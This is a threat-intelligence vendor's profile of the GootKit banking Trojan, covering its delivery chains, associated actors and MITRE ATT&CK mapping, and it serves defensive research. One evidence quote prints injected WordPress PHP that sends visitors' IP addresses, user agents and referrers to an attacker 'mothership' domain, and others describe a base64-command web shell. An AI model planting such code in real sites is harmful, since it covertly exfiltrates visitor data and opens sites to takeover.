Skip to main content
Meet us at Black Hat USA 2026— Las Vegas, August 1–6Book a Meeting
Mallory
MalwareRansomwareUsed by 2 actors

GootKit

GootKit is a mature banking Trojan that has been active for more than half a decade and is centered on banking credential theft. The content also describes it as a highly evasive information stealer and remote access Trojan (RAT) used to establish a persistent foothold in victim environments. Once established, GootKit can be used for follow-on exploitation, including deployment of ransomware and tools such as Cobalt Strike.

GootKit is closely associated with the GootLoader delivery ecosystem. Multiple sources in the content distinguish GootLoader from GootKit while noting that GootLoader historically delivered GootKit and continues to use trojanized SEO/SEO-poisoning techniques and compromised websites to lure victims into executing obfuscated JavaScript downloaders. In observed chains, GootLoader infections involved ZIP archives containing JavaScript, persistence via scheduled tasks or registry/PowerShell mechanisms, and later-stage activity consistent with GootKit delivery. The content also notes GootKit/Jasper infection chains, including a September 26 variant in which the third-stage payload was swapped for FTCODE ransomware.

Distribution methods mentioned for GootKit include malicious SEO, trojanized search results, spam botnets such as Cutwail, exploit kits including RIG and Nebula, and delivery by other malware families or loaders such as Emotet, BrushaLoader, and Storm-0324 campaigns. Storm-0324 is specifically noted as having distributed GootKit among other first-stage payloads since at least 2016. Proofpoint content also lists GootKit among payloads delivered by TA547, and Emotet was observed delivering GootKit as a third-party payload.

The malware is associated with e-banking fraud activity and has been described as an e-banking Trojan. The content further notes that banking malware such as GootKit has used HVNC-style capabilities for banking fraud. One source places GootKit activity in Canada in BrushaLoader-related observations. Another notes that Red Canary historically saw GootKit as a frequent top-10 threat before it temporarily disappeared from their March view.

High-confidence behavioral details directly stated in the content include banking credential theft, information stealing, RAT functionality, persistence, and use as a platform for additional payload deployment including ransomware and Cobalt Strike. No single authoritative IOC set for GootKit itself is provided in the content, though related delivery chains reference artifacts such as obfuscated JavaScript stages, scheduled tasks, registry persistence, and malware detections including Trojan:Win32/Gootkit and JS/Gootkit-AW.

Share:
For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

THREAT ACTORS

Groups observed using it

2 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details
TA547

Delivered malware included ZLoader (a.k.a. Terdot), Gootkit, Ursnif, Corebot, Panda Banker, Atmos, Mazar Bot, and Red Alert Android malware.

via proofpoint threat insight blogproofpoint.com
Storm-0324

Storm-0324 has distributed a range of first-stage payloads since at least 2016, including: ... Gootkit, a banking trojan

via microsoft generalmicrosoft.com
MITRE ATT&CK

Techniques & procedures

21 distinct techniques documented for this family, organized by ATT&CK tactic.

Reconnaissance

1 technique
T1592Gather Victim Host InformationEvidence1

The communication sends the mothership the following parameters of the initial request, all in base64 encoded form: a: Unique server ID b: IP address of the unsuspecting visitor c: user agent d: referrer string

Resource Development

2 techniques
T1583Acquire InfrastructureEvidence1

Gootkit relies on trojanized search engine optimization (SEO) social engineering techniques, similar to Yellow Cockatoo.

T1608.006SEO PoisoningEvidence4

Gootloader uses malicious search engine optimization (SEO) techniques to squirm into Google search results.

Initial Access

4 techniques
T1078Valid AccountsEvidence2

The attackers may simply obtain the sites’ passwords from the Gootkit malware itself, or from any of a number of criminal markets that trade in stolen credentials...

T1189Drive-by CompromiseEvidence2

The Gootloader malware family uses a distinctive form of social engineering to infect computers: Its creators lure people to visit compromised, legitimate WordPress websites using hijacked Google search results...

T1190Exploit Public-Facing ApplicationEvidence1

There are several ways in which a threat actor might be able to place a file into a WordPress site... a WordPress component may have had a vulnerability that permitted remote users to perform SQL injection or command execution exploits on the host server; the administrative WordPress password might have been stolen.

T1566PhishingEvidence1

Storm-0324’s delivery chain begins with phishing emails referencing invoices or payments and containing a link to a SharePoint site that hosts a ZIP archive.

Execution

3 techniques
T1053.005Scheduled TaskEvidence2

We additionally observed the creation of a scheduled task named “Business Aviation” with the command line “wscript REHABI~1.JS”... Persistence was obtained via CScript.exe executing the file SMALLU~1.js via a scheduled task named Destination Branding.

T1059.006PythonEvidence1

The first stage download server, where a PHP script serves the first stage JScript downloader script... The first stage download script ( down.php or join.php or about.php or index.php ) simply relays the incoming request to the mothership.

T1059.007JavaScriptEvidence2

Upon review of the running processes, we were able to determine that a small JavaScript file was dropping a large JavaScript file... We additionally observed the creation of a scheduled task... utilizing WScript.exe to execute the second-stage payload of GootKit.

Persistence

4 techniques
T1053.005Scheduled TaskEvidence2

We additionally observed the creation of a scheduled task named “Business Aviation” with the command line “wscript REHABI~1.JS”... Persistence was obtained via CScript.exe executing the file SMALLU~1.js via a scheduled task named Destination Branding.

T1078Valid AccountsEvidence2

The attackers may simply obtain the sites’ passwords from the Gootkit malware itself, or from any of a number of criminal markets that trade in stolen credentials...

T1505Server Software ComponentEvidence1

At this point we didn’t know exactly how the sites are compromised, but we knew from the report that malicious PHP code is somehow inserted into the WordPress installation.

T1505.003Web ShellEvidence1

This code contains a simple PHP command shell, which the Gootloader attackers can use to maintain access to compromised pages... If the compromised website receives an HTTPS POST with that string in it, the code on the page will decode and execute any base64 encoded commands it receives...

Privilege Escalation

3 techniques
T1053.005Scheduled TaskEvidence2

We additionally observed the creation of a scheduled task named “Business Aviation” with the command line “wscript REHABI~1.JS”... Persistence was obtained via CScript.exe executing the file SMALLU~1.js via a scheduled task named Destination Branding.

T1055.012Process HollowingEvidence1

It then performs a process hollowing on that executable to load the Delphi component.

T1078Valid AccountsEvidence2

The attackers may simply obtain the sites’ passwords from the Gootkit malware itself, or from any of a number of criminal markets that trade in stolen credentials...

Stealth

5 techniques
T1027Obfuscated Files or InformationEvidence2

Every aspect of this process is obfuscated to such a degree... despite the fact that Gootloader’s creators use code obfuscation to an almost absurd degree. As part of the obfuscation, the attackers break up the code.

T1027.009Embedded PayloadsEvidence1

A string analysis of the dropped file was not useful in identifying its intent, as the JavaScript was heavily obfuscated... The decoder also identified various malicious domain names within the obfuscated strings.

T1055.012Process HollowingEvidence1

It then performs a process hollowing on that executable to load the Delphi component.

T1078Valid AccountsEvidence2

The attackers may simply obtain the sites’ passwords from the Gootkit malware itself, or from any of a number of criminal markets that trade in stolen credentials...

T1497.001System ChecksEvidence1

The landing page code on the initial, compromised website validates visitors then redirects some of them to a second website... The server also geofences IP address ranges, and only allows requests to originate from specific countries of interest to the Gootloader threat actor.

Discovery

2 techniques
T1082System Information DiscoveryEvidence2

The requests contained Base64-encoded cookies which, when decoded, showed enumeration information regarding device directories and host information... the process would read USERNAME and USER DOMAIN information and send the data to the URIs.

T1497.001System ChecksEvidence1

The landing page code on the initial, compromised website validates visitors then redirects some of them to a second website... The server also geofences IP address ranges, and only allows requests to originate from specific countries of interest to the Gootloader threat actor.

Command and Control

3 techniques
T1071Application Layer ProtocolEvidence1

Spamhaus researchers issued listings for over 7,000 botnet Command & Control ("C&C") servers... These C&C servers enabled and controlled online crime such as credential theft, e-banking fraud, spam and DDoS attacks. They were also used for the retrieval of stolen data.

T1071.001Web ProtocolsEvidence1

the malicious event handler hooks build the request to the “mothership”... wp_remote_get("http://my-game.biz/index.php?a=".base64_encode($_GET[$qwc4]). '&b='.base64_encode($_SERVER["REMOTE_ADDR"]). '&c='.base64_encode($_SERVER["HTTP_USER_AGENT"]). '&d='.base64_encode(wp_get_referer())

T1105Ingress Tool TransferEvidence3

PowerEnum is also used to send tasks, which were originally stored on Dropbox, and more recently were hosted on Google Drive... The Google Drive link is the payload sent via raw TCP after PowerEnum fingerprinting.

Exfiltration

1 technique
T1567Exfiltration Over Web ServiceEvidence2

FakeNet showed various domain names being reached out to with GET /xmlrpc.php HTTP/1.1 requests via Powershell.exe. The requests contained Base64-encoded cookies... showing enumeration information regarding device directories and host information.

INDICATORS OF COMPROMISE

IOCs tracked for this family

28 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app
Network
10 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes
12 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other
6 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting
domain●●●●●●●●●●●●View more in app6 months ago
domain●●●●●●●●●●●●View more in app6 months ago
domain●●●●●●●●●●●●View more in app6 months ago
uri●●●●●●●●●●●●View more in app6 months ago
uri●●●●●●●●●●●●View more in app6 months ago
domain●●●●●●●●●●●●View more in app6 months ago
What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching28

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution2

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping21

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.